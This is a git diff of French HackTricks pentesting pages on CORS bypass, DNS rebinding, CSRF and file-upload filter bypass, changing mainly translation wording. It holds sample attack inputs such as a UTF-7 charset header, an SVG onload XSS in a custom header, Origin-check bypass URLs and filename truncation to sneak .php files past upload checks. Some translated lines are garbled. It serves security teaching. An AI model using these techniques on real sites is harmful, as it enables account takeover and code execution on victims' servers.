Content-Type: text/html; charset=UTF-7 ``` -Bien que l'exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait amener un cache côté serveur à enregistrer la réponse et à la servir involontairement à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes. +Bien que l'exploitation directe de cette vulnérabilité en envoyant un en-tête malformé depuis un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait entraîner la sauvegarde de la réponse dans un cache côté serveur et sa diffusion involontaire à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes. Pour plus d'informations sur les vulnérabilités XSS stockées, consultez [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored). **Remarque** : L'exploitation des vulnérabilités d'injection d'en-tête HTTP, en particulier via l'empoisonnement du cache côté serveur, souligne l'importance critique de valider et de désinfecter toutes les entrées fournies par l'utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut une validation des entrées pour prévenir de telles vulnérabilités. - ### **Empoisonnement du cache côté client** -**[De cette recherche](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)** +[**À partir de cette recherche**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) Dans ce scénario, une instance d'une page web reflétant le contenu d'un en-tête HTTP personnalisé sans codage approprié est observée. Plus précisément, la page web reflète le contenu inclus dans un en-tête `X-User-id`, qui pourrait inclure du JavaScript malveillant, comme le montre l'exemple où l'en-tête contient une balise d'image SVG conçue pour exécuter du code JavaScript lors du chargement. Les politiques de partage des ressources entre origines (CORS) permettent l'envoi d'en-têtes personnalisés. Cependant, sans que la réponse soit directement rendue par le navigateur en raison des restrictions CORS, l'utilité d'une telle injection pourrait sembler limitée. Le point critique survient lors de la prise en compte du comportement du cache du navigateur. Si l'en-tête `Vary: Origin` n'est pas spécifié, il devient possible que la réponse malveillante soit mise en cache par le navigateur. Par la suite, cette réponse mise en cache pourrait être rendue directement lors de la navigation vers l'URL, contournant ainsi le besoin de rendu direct lors de la requête initiale. Ce mécanisme renforce la fiabilité de l'attaque en exploitant la mise en cache côté client. -Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour être exécuté dans l'environnement d'une page web, par exemple via un JSFiddle. Ce script effectue une action simple : il envoie une requête à une URL spécifiée avec un en-tête personnalisé contenant le JavaScript malveillant. Après l'achèvement réussi de la requête, il tente de naviguer vers l URL cible, déclenchant potentiellement l'exécution du script injecté si la réponse a été mise en cache sans une gestion appropriée de l'en-tête `Vary: Origin`. +Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour être exécuté dans l'environnement d'une page web, par exemple via un JSFiddle. Ce script effectue une action simple : il envoie une requête à une URL spécifiée avec un en-tête personnalisé contenant le JavaScript malveillant. Après l'achèvement réussi de la requête, il tente de naviguer vers l'URL cible, déclenchant potentiellement l'exécution du script injecté si la réponse a été mise en cache sans une gestion appropriée de l'en-tête `Vary: Origin`. Voici un résumé du JavaScript utilisé pour exécuter cette attaque : ```html @@ -263,7 +257,7 @@ req.send(); ### XSSI (Inclusion de script inter-sites) / JSONP -XSSI, également connu sous le nom d'Inclusion de script inter-sites, est un type de vulnérabilité qui profite du fait que la Politique de même origine (SOP) ne s'applique pas lors de l'inclusion de ressources en utilisant la balise script. Cela est dû au fait que les scripts doivent pouvoir être inclus à partir de différents domaines. Cette vulnérabilité permet à un attaquant d'accéder et de lire tout contenu inclus en utilisant la balise script. +XSSI, également connu sous le nom d'Inclusion de script inter-sites, est un type de vulnérabilité qui profite du fait que la Politique de même origine (SOP) ne s'applique pas lors de l'inclusion de ressources à l'aide de la balise script. Cela est dû au fait que les scripts doivent pouvoir être inclus à partir de différents domaines. Cette vulnérabilité permet à un attaquant d'accéder et de lire tout contenu inclus à l'aide de la balise script. Cette vulnérabilité devient particulièrement significative lorsqu'il s'agit de JavaScript dynamique ou de JSONP (JSON avec rembourrage), surtout lorsque des informations d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Lors de la demande d'une ressource à partir d'un hôte différent, les cookies sont inclus, les rendant accessibles à l'attaquant. @@ -280,8 +274,7 @@ Essayez d'ajouter un **paramètre `callback`** dans la requête. Peut-être que Une façon de contourner la restriction `Access-Control-Allow-Origin` est de demander à une application web de faire une requête en votre nom et de renvoyer la réponse. Cependant, dans ce scénario, les informations d'identification de la victime finale ne seront pas envoyées car la requête est faite à un domaine différent. 1. [**CORS-escape**](https://github.com/shalvah/cors-escape) : Cet outil fournit un proxy qui transmet votre requête avec ses en-têtes, tout en falsifiant l'en-tête Origin pour correspondre au domaine demandé. Cela contourne efficacement la politique CORS. Voici un exemple d'utilisation avec XMLHttpRequest : - -2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) : Cet outil propose une approche alternative pour la mise en proxy des requêtes. Au lieu de transmettre votre requête telle quelle, le serveur effectue sa propre requête avec les paramètres spécifiés. +2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) : Cet outil offre une approche alternative pour la mise en proxy des requêtes. Au lieu de transmettre votre requête telle quelle, le serveur effectue sa propre requête avec les paramètres spécifiés. ### Contournement Iframe + Popup @@ -295,17 +288,17 @@ Vous pouvez **contourner les vérifications CORS** telles que `e.origin === wind La réattribution DNS via TTL est une technique utilisée pour contourner certaines mesures de sécurité en manipulant les enregistrements DNS. Voici comment cela fonctionne : -1. L'attaquant crée une page web et fait accéder la victime à celle-ci. +1. L'attaquant crée une page web et fait en sorte que la victime y accède. 2. L'attaquant modifie ensuite le DNS (IP) de son propre domaine pour pointer vers la page web de la victime. -3. Le navigateur de la victime met en cache la réponse DNS, qui peut avoir une valeur TTL (Time to Live) indiquant pendant combien de temps l'enregistrement DNS doit être considéré comme valide. +3. Le navigateur de la victime met en cache la réponse DNS, qui peut comporter une valeur TTL (Time to Live) indiquant pendant combien de temps l'enregistrement DNS doit être considéré comme valide. 4. Lorsque le TTL expire, le navigateur de la victime effectue une nouvelle requête DNS, permettant à l'attaquant d'exécuter du code JavaScript sur la page de la victime. 5. En maintenant le contrôle sur l'IP de la victime, l'attaquant peut recueillir des informations de la victime sans envoyer de cookies au serveur de la victime. Il est important de noter que les navigateurs disposent de mécanismes de mise en cache qui peuvent empêcher l'abus immédiat de cette technique, même avec des valeurs TTL faibles. -La réattribution DNS peut être utile pour contourner les vérifications IP explicites effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, permettant au cache d'expirer. +La réattribution DNS peut être utile pour contourner les vérifications IP explicites effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, permettant à la mise en cache d'expirer. -Si vous avez besoin d'une méthode rapide pour abuser de la réattribution DNS, vous pouvez utiliser des services comme [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html). +Si vous avez besoin d'un moyen rapide d'abuser de la réattribution DNS, vous pouvez utiliser des services comme [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html). Pour exécuter votre propre serveur de réattribution DNS, vous pouvez utiliser des outils comme **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Cela implique d'exposer votre port local 53/udp, de créer un enregistrement A pointant vers celui-ci (par exemple, ns.example.com), et de créer un enregistrement NS pointant vers le sous-domaine A précédemment créé (par exemple, ns.example.com). Tout sous-domaine du sous-domaine ns.example.com sera alors résolu par votre hôte. @@ -316,10 +309,10 @@ Vous pouvez également explorer un serveur en cours d'exécution publiquement su La réattribution DNS via l'inondation du cache DNS est une autre technique utilisée pour contourner le mécanisme de mise en cache des navigateurs et forcer une deuxième requête DNS. Voici comment cela fonctionne : 1. Initialement, lorsque la victime effectue une requête DNS, elle reçoit l'adresse IP de l'attaquant. -2. Pour contourner la défense de mise en cache, l'attaquant exploite un service worker. Le service worker inonde le cache DNS, ce qui supprime efficacement le nom de serveur de l'attaquant mis en cache. -3. Lorsque le navigateur de la victime effectue une deuxième requête DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à l'localhost. +2. Pour contourner la défense de mise en cache, l'attaquant exploite un worker de service. Le worker de service inonde le cache DNS, ce qui supprime efficacement le nom de serveur de l'attaquant mis en cache. +3. Lorsque le navigateur de la victime effectue une deuxième requête DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à localhost. -En inondant le cache DNS avec le service worker, l'attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une deuxième requête, cette fois-ci résolvant vers l'adresse IP souhaitée par l'attaquant. +En inondant le cache DNS avec le worker de service, l'attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une deuxième requête, cette fois-ci se résolvant à l'adresse IP souhaitée par l'attaquant. ### Réattribution DNS via **Cache** @@ -335,27 +328,26 @@ Une autre façon de contourner la défense de mise en cache est d'utiliser plusi Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix de l'adresse IP par le navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime. {% hint style="warning" %} -Notez que pour accéder à l'localhost, vous devriez essayer de réattribuer **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\ +Notez que pour accéder à localhost, vous devriez essayer de réattribuer **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\ Des fournisseurs tels que godaddy ou cloudflare ne m'ont pas permis d'utiliser l'IP 0.0.0.0, mais AWS route53 m'a permis de créer un enregistrement A avec 2 IPs, l'une d'entre elles étant "0.0.0.0" {% endhint %} Pour plus d'informations, vous pouvez consulter [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) - ### Autres contournements courants -* Si les **IP internes ne sont pas autorisées**, ils pourraient **oublier d'interdire 0.0.0.0** (fonctionne sur Linux et Mac) -* Si les **IP internes ne sont pas autorisées**, répondez avec un **CNAME** à **localhost** (fonctionne sur Linux et Mac) -* Si les **IP internes ne sont pas autorisées** en tant que réponses DNS, vous pouvez répondre avec des **CNAMEs vers des services internes** tels que www.corporate.internal. +* Si les **adresses IP internes ne sont pas autorisées**, ils pourraient **oublier d'interdire 0.0.0.0** (fonctionne sur Linux et Mac) +* Si les **adresses IP internes ne sont pas autorisées**, répondez avec un **CNAME** vers **localhost** (fonctionne sur Linux et Mac) +* Si les **adresses IP internes ne sont pas autorisées** en tant que réponses DNS, vous pouvez répondre avec des **CNAMEs vers des services internes** tels que www.corporate.internal. -### Réattribution DNS Weaponized +### Arme DNS Rebidding Weaponized Vous pouvez trouver plus d'informations sur les techniques de contournement précédentes et comment utiliser l'outil suivant dans la présentation [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ). -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [réattribution DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour réattribuer l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible. +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour lier l'adresse IP du serveur d'attaque au nom DNS de la machine cible à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter des logiciels vulnérables sur la machine cible. -### Protection réelle contre la réattribution DNS +### Protection réelle contre le rebinding DNS * Utilisez TLS dans les services internes * Demandez une authentification pour accéder aux données @@ -364,7 +356,7 @@ Vous pouvez trouver plus d'informations sur les techniques de contournement pré ## **Outils** -**Fouillez les mauvaises configurations possibles dans les politiques CORS** +**Fuzz les mauvaises configurations possibles dans les politiques CORS** * [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner) * [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer) @@ -372,6 +364,7 @@ Vous pouvez trouver plus d'informations sur les techniques de contournement pré * [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe) ## Références + * [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors) * [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin) * [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS) @@ -381,3 +374,17 @@ Vous pouvez trouver plus d'informations sur les techniques de contournement pré * [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration) * [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b) + +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! + +Autres façons de soutenir HackTricks: + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md index 40f762e97..75ae230a7 100644 --- a/pentesting-web/csrf-cross-site-request-forgery.md +++ b/pentesting-web/csrf-cross-site-request-forgery.md @@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes ! @@ -31,24 +31,32 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc ## Explication de la faille de sécurité CSRF (Cross-Site Request Forgery) -**La faille de sécurité Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité présente dans les applications web. Elle permet aux attaquants d'effectuer des actions au nom d'utilisateurs sans méfiance en exploitant leurs sessions authentifiées. L'attaque est exécutée lorsqu'un utilisateur, connecté à la plateforme d'une victime, visite un site malveillant. Ce site déclenche ensuite des requêtes vers le compte de la victime en utilisant des méthodes telles que l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images. +**La faille de sécurité Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité présente dans les applications web. Elle permet aux attaquants d'effectuer des actions au nom d'utilisateurs sans méfiance en exploitant leurs sessions authentifiées. L'attaque est exécutée lorsqu'un utilisateur, connecté à la plateforme d'une victime, visite un site malveillant. Ce site déclenche ensuite des requêtes vers le compte de la victime à travers des méthodes telles que l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images. ### Prérequis pour une attaque CSRF + Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être remplies : 1. **Identifier une action de valeur** : L'attaquant doit trouver une action à exploiter, telle que le changement du mot de passe de l'utilisateur, de l'e-mail ou l'élévation des privilèges. 2. **Gestion de session** : La session de l'utilisateur doit être gérée uniquement via des cookies ou l'en-tête d'authentification de base HTTP, car les autres en-têtes ne peuvent pas être manipulés à cette fin. 3. **Absence de paramètres imprévisibles** : La requête ne doit pas contenir de paramètres imprévisibles, car ils peuvent empêcher l'attaque. +### Vérification rapide + +Vous pourriez **capturer la requête dans Burp** et vérifier les protections CSRF et pour tester depuis le navigateur, vous pouvez cliquer sur **Copier comme fetch** et vérifier la requête : + +
+ ### Se défendre contre les attaques CSRF + Plusieurs contre-mesures peuvent être mises en place pour se protéger contre les attaques CSRF : * [**Cookies SameSite**](hacking-with-cookies/#samesite) : Cet attribut empêche le navigateur d'envoyer des cookies avec des requêtes entre sites. [En savoir plus sur les cookies SameSite](hacking-with-cookies/#samesite). -* [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite la lecture de la réponse du site victime. [Apprenez-en plus sur le contournement de CORS](cors-bypass.md). +* [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, en particulier si l'attaque nécessite la lecture de la réponse du site victime. [Apprenez-en plus sur le contournement de CORS](cors-bypass.md). * **Vérification de l'utilisateur** : Demander le mot de passe de l'utilisateur ou résoudre un captcha peut confirmer l'intention de l'utilisateur. * **Vérification des en-têtes Referrer ou Origin** : Valider ces en-têtes peut aider à garantir que les requêtes proviennent de sources de confiance. Cependant, une manipulation soigneuse des URL peut contourner les vérifications mal implémentées, telles que : -- Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance) -- Utiliser `http://example.com.mal.net` (l'URL commence par l'URL de confiance) +* Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance) +* Utiliser `http://example.com.mal.net` (l'URL commence par l'URL de confiance) * **Modification des noms de paramètres** : Modifier les noms de paramètres dans les requêtes POST ou GET peut aider à prévenir les attaques automatisées. * **Jetons CSRF** : Incorporer un jeton CSRF unique dans chaque session et exiger ce jeton dans les requêtes ultérieures peut atténuer considérablement le risque de CSRF. L'efficacité du jeton peut être renforcée en imposant CORS. @@ -58,15 +66,15 @@ Comprendre et mettre en œuvre ces défenses est crucial pour maintenir la sécu ### De POST à GET -Peut-être que le formulaire que vous souhaitez exploiter est prêt à envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET le **jeton CSRF est toujours validé**. +Peut-être que le formulaire que vous souhaitez exploiter est configuré pour envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET le **jeton CSRF est toujours validé**. ### Absence de jeton -Les applications peuvent mettre en place un mécanisme pour **valider les jetons** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est complètement ignorée lorsque le jeton est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** portant le jeton, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener une attaque de Cross-Site Request Forgery (CSRF) efficacement. +Les applications peuvent mettre en place un mécanisme pour **valider les jetons** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est complètement ignorée lorsque le jeton est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** portant le jeton, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener une attaque de type Cross-Site Request Forgery (CSRF) efficacement. ### Le jeton CSRF n'est pas lié à la session utilisateur -Les applications **ne liant pas les jetons CSRF aux sessions utilisateur** présentent un risque de sécurité significatif. Ces systèmes vérifient les jetons par rapport à un **pool global** plutôt que de garantir que chaque jeton est lié à la session initiale. +Les applications **ne liant pas les jetons CSRF aux sessions utilisateur** présentent un risque de sécurité important. Ces systèmes vérifient les jetons par rapport à un **pool global** au lieu de s'assurer que chaque jeton est lié à la session initiale. Voici comment les attaquants exploitent cela : @@ -74,12 +82,11 @@ Voici comment les attaquants exploitent cela : 2. **Obtenir un jeton CSRF valide** à partir du pool global. 3. **Utiliser ce jeton** dans une attaque CSRF contre une victime. -Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisées au nom de la victime, exploitant le mécanisme de validation de jeton inadéquat de l'application. +Cette vulnérabilité permet aux attaquants d'effectuer des requêtes non autorisées au nom de la victime, en exploitant le **mécanisme de validation de jeton inadéquat** de l'application. ### Contournement de méthode -Si la requête utilise une **méthode "étrange"**, vérifiez si la **fonctionnalité de remplacement de méthode** fonctionne. -Par exemple, si elle utilise une méthode PUT, vous pouvez essayer d'utiliser une méthode POST et d'envoyer : _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +Si la requête utilise une **"méthode"** **"étrange"**, vérifiez si la **fonctionnalité de remplacement de méthode** fonctionne. Par exemple, si elle utilise une méthode **PUT**, vous pouvez essayer d'utiliser une méthode **POST** et d'envoyer : _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'intérieur d'une requête POST** ou en utilisant les **en-têtes** : @@ -96,7 +103,7 @@ Si la requête ajoute un **en-tête personnalisé** avec un **jeton** à la requ ### Le jeton CSRF est vérifié par un cookie -Les applications peuvent mettre en œuvre une protection CSRF en dupliquant le jeton à la fois dans un cookie et un paramètre de requête ou en définissant un cookie CSRF et en vérifiant si le jeton envoyé en backend correspond au cookie. L'application valide les requêtes en vérifiant si le jeton dans le paramètre de requête correspond à la valeur dans le cookie. +Les applications peuvent mettre en place une protection CSRF en dupliquant le jeton à la fois dans un cookie et un paramètre de requête ou en définissant un cookie CSRF et en vérifiant si le jeton envoyé en arrière-plan correspond au cookie. L'application valide les requêtes en vérifiant si le jeton dans le paramètre de requête correspond à la valeur du cookie. Cependant, cette méthode est vulnérable aux attaques CSRF si le site web présente des failles permettant à un attaquant de définir un cookie CSRF dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, suivi de l'initiation de l'attaque CSRF. @@ -148,9 +155,7 @@ form.submit(); Lors de la tentative d'envoi de données JSON via une requête POST, l'utilisation de `Content-Type: application/json` dans un formulaire HTML n'est pas directement possible. De même, l'utilisation de `XMLHttpRequest` pour envoyer ce type de contenu initie une demande de pré-vérification. Néanmoins, il existe des stratégies pour contourner potentiellement cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type : 1. **Utiliser des types de contenu alternatifs** : Utilisez `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` en définissant `enctype="text/plain"` dans le formulaire. Cette approche teste si le backend utilise les données indépendamment du Content-Type. - 2. **Modifier le type de contenu** : Pour éviter une demande de pré-vérification tout en garantissant que le serveur reconnaisse le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela ne déclenche pas de demande de pré-vérification mais pourrait être traité correctement par le serveur s'il est configuré pour accepter `application/json`. - 3. **Utilisation de fichiers Flash SWF** : Une méthode moins courante mais réalisable implique l'utilisation d'un fichier flash SWF pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, consultez [cet article](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Contournement de la vérification du Référent / Origine @@ -163,7 +168,7 @@ Les applications peuvent valider l'en-tête 'Referer' uniquement lorsqu'il est p ``` Cela garantit que l'en-tête 'Referer' est omis, contournant potentiellement les vérifications de validation dans certaines applications. -**Contournements de Regexp** +**Contournements Regexp** {% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) @@ -190,7 +195,7 @@ document.forms[0].submit(); ``` ### **Contournement de la méthode HEAD** -La première partie de [**ce compte rendu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que dans le [code source de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime simplement le corps de réponse**. +La première partie de [**ce compte rendu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que dans [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime simplement le corps de réponse**. Par conséquent, si une requête GET est limitée, vous pourriez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**. @@ -259,7 +264,7 @@ document.forms[0].submit(); //Way 3 to autosubmit ``` -### Requête POST de formulaire via iframe +### Envoyer une requête POST de formulaire via un iframe ```html AAA.php +8. Essayez de dépasser les limites du nom de fichier. L'extension valide est coupée. Et le code PHP malveillant reste. AAA<--SNIP-->AAA.php ``` -# Linux maximum 255 bytes +# Linux maximum 255 octets /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png -# Téléchargez le fichier et vérifiez la réponse combien de caractères il autorise. Disons 236 +# Téléchargez le fichier et vérifiez la réponse pour voir combien de caractères il autorise. Disons 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -# Faites la charge utile +# Créez la charge utile AAA<--SNIP 232 A-->AAA.php.png ``` ### Contourner le type de contenu, le numéro magique, la compression et le redimensionnement @@ -94,12 +94,12 @@ AAA<--SNIP 232 A-->AAA.php.png ### Autres astuces à vérifier * Trouver une vulnérabilité pour **renommer** le fichier déjà téléchargé (pour changer l'extension). -* Trouver une vulnérabilité de **Local File Inclusion** pour exécuter la porte dérobée. +* Trouver une vulnérabilité d'**inclusion de fichier local** pour exécuter la porte dérobée. * **Divulgation d'informations possible** : 1. Télécharger **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom** 2. Télécharger un fichier avec le **nom** d'un **fichier** ou **dossier** qui **existe déjà** 3. Télécharger un fichier avec **“.”, “..”, ou “…” comme nom**. Par exemple, dans Apache sous **Windows**, si l'application enregistre les fichiers téléchargés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé “uploads” dans le répertoire “/www/”. -4. Télécharger un fichier qui ne peut pas être facilement supprimé tel que **“…:.jpg”** dans **NTFS** (Windows). +4. Télécharger un fichier qui ne peut pas être facilement supprimé tel que **“…:.jpg”** en **NTFS** (Windows). 5. Télécharger un fichier dans **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom (Windows). 6. Télécharger un fichier dans **Windows** en utilisant des **noms réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9. * Essayez également de **télécharger un exécutable** (.exe) ou un fichier **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera accidentellement ouvert par la victime. @@ -125,7 +125,7 @@ Pour une exploration détaillée de 